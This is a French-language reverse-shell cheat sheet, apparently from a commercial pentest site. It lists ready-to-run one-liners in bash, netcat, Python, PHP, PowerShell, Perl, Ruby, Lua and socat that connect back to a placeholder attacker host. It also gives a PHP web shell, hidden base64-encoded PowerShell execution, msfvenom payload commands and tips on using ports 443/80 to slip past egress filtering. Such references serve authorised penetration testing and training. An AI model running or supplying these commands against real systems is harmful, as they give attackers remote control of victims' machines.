# Mettre en place un listener
Avant tout payload, lancez un listener sur votre machine d'attaque. Les ports 443 ou 80 se fondent dans le trafic normal et sont rarement filtrés en sortie.
nc -lvnp 443rlwrap nc -lvnp 443msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT 443; run"# Reverse Shells Bash
Bash est sur presque tous les hôtes Linux. La méthode /dev/tcp ne nécessite aucun binaire supplémentaire.
bash -i >& /dev/tcp/ATTAQUANT/443 0>&1bash -c 'bash -i >& /dev/tcp/ATTAQUANT/443 0>&1'0<&196;exec 196<>/dev/tcp/ATTAQUANT/443; sh <&196 >&196 2>&196echo -n 'bash -i >& ...' | base64 puis echo BASE64 | base64 -d | bash.# Reverse Shells Netcat
Si netcat est installé, c'est l'option la plus simple. Repérez la variante présente — certaines n'ont pas l'option -e.
nc -e /bin/sh ATTAQUANT 443nc ATTAQUANT 443 -e /bin/bashrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTAQUANT 443 >/tmp/fncat ATTAQUANT 443 -e /bin/bashncat --ssl ATTAQUANT 443 -e /bin/bash# Reverse Shells Python
Python est présent sur la plupart des systèmes Linux. Utilisez python3, repliez sur python.
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTAQUANT",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTAQUANT",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'# Reverse Shells PHP
Parfait après un upload de fichier sur un serveur web, ou via LFI/RCE.
php -r '$sock=fsockopen("ATTAQUANT",443);exec("/bin/sh -i <&3 >&3 2>&3");'<?php system($_GET['cmd']); ?>php -r '$s=fsockopen("ATTAQUANT",443);$p=proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$pipes);'# Reverse Shells PowerShell (Windows)
PowerShell est la référence sous Windows. Le one-liner fonctionne sur quasiment tous les hôtes Windows modernes.
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATTAQUANT',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}"powershell -nop -w hidden -e PAYLOAD_BASE64echo -n 'IEX...' | iconv -t UTF-16LE | base64 -w0.# Perl, Ruby & Autres
Replis quand bash/python/nc ne sont pas disponibles.
perl -e 'use Socket;$i="ATTAQUANT";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTAQUANT",443);loop{c.puts `#{c.gets.chomp}`}'xterm -display ATTAQUANT:1lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATTAQUANT',443);os.execute('/bin/sh -i <&3 >&3 2>&3');"# Socat — Shell pleinement stable
Socat fournit immédiatement un TTY pleinement interactif — sans astuce stty manuelle. Transférez le binaire socat si besoin.
socat file:`tty`,raw,echo=0 tcp-listen:443socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTAQUANT:443socat OPENSSL-LISTEN:443,cert=cert.pem,verify=0 file:`tty`,raw,echo=0# Passer à un TTY complet
Un shell netcat brut est fragile — Ctrl+C le tue et vim/ssh/su cassent. Améliorez-le en quatre étapes.
python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermCtrl+Zstty raw -echo; fgstty -a dans votre terminal pour lire rows/cols, puis fixez-les dans le shell : stty rows 38 cols 116 pour que les applis plein écran s'affichent correctement.# Payloads msfvenom
Générez des binaires et scripts reverse shell autonomes quand vous avez besoin d'un fichier à déposer.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f exe -o rev.exemsfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f elf -o rev.elfmsfvenom -p php/reverse_php LHOST=IP LPORT=443 -f raw -o rev.phpmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=443 -f exe -o met.exe❓ FAQ Reverse Shell
Une session shell où la cible se connecte vers vous au lieu que vous vous connectiez à elle. Cela contourne les pare-feux entrants puisque le trafic sortant est généralement autorisé. Lancez un listener (nc -lvnp 443) et exécutez un payload sur la cible.
Reverse : la cible se connecte vers vous (contourne les pare-feux entrants). Bind : la cible ouvre un port et vous vous connectez à elle (port devant être joignable). Les reverse shells sont préférés car le sortant est rarement bloqué.
nc -lvnp 443 est le classique. Utilisez rlwrap nc -lvnp 443 pour l'historique des flèches, ou un multi/handler Metasploit avec un payload correspondant.
Un shell netcat brut n'a pas de TTY — Ctrl+C le tue et vim/ssh/su se figent. Upgrade : python3 -c 'import pty;pty.spawn("/bin/bash")', puis Ctrl+Z, puis stty raw -echo; fg, puis export TERM=xterm.
Adaptez-vous à ce qui est installé. Linux : bash et python sont presque toujours là. Windows : PowerShell. Si netcat a -e, c'est le plus simple. Gardez une option socat pour un shell chiffré et stable.
Socat est le plus propre : socat file:`tty`,raw,echo=0 tcp-listen:443 sur votre hôte et socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTAQUANT:443 sur la cible.
msfvenom -p <payload> LHOST=IP LPORT=443 -f <format> -o sortie. Ex. windows/x64/shell_reverse_tcp ... -f exe. Attrapez avec un nc -lvnp 443 correspondant ou multi/handler.
Ils sont légitimes pour les pentests autorisés, les CTF et vos propres labs. Les utiliser contre des systèmes que vous ne possédez pas ou sans autorisation écrite est illégal. Restez toujours dans le périmètre.
📚 Ressources liées
- Cheatsheet Élévation de privilèges Linux — Un shell obtenu ? Passez root — 80+ techniques
- Cheatsheet Élévation de privilèges Windows — De votre shell PowerShell à NT AUTHORITY\SYSTEM
- Cheatsheet OSCP — Obtenir un shell stable est une compétence centrale de l'OSCP
- Glossaire du pentest — TTY, payload, listener, LFI et 60+ termes clés définis
Transformez votre accès en rapport PDF professionnel. L'IA remplit CVE, CVSS et sévérité.
Envie des 12 020+ commandes ?
Cette cheatsheet reverse shell n'est qu'une branche de la carte. Pentest Mindmap organise 12 020+ commandes en 34 catégories — de la recon à la post-exploitation — avec recherche instantanée et copie en un clic.
Commencer gratuitement →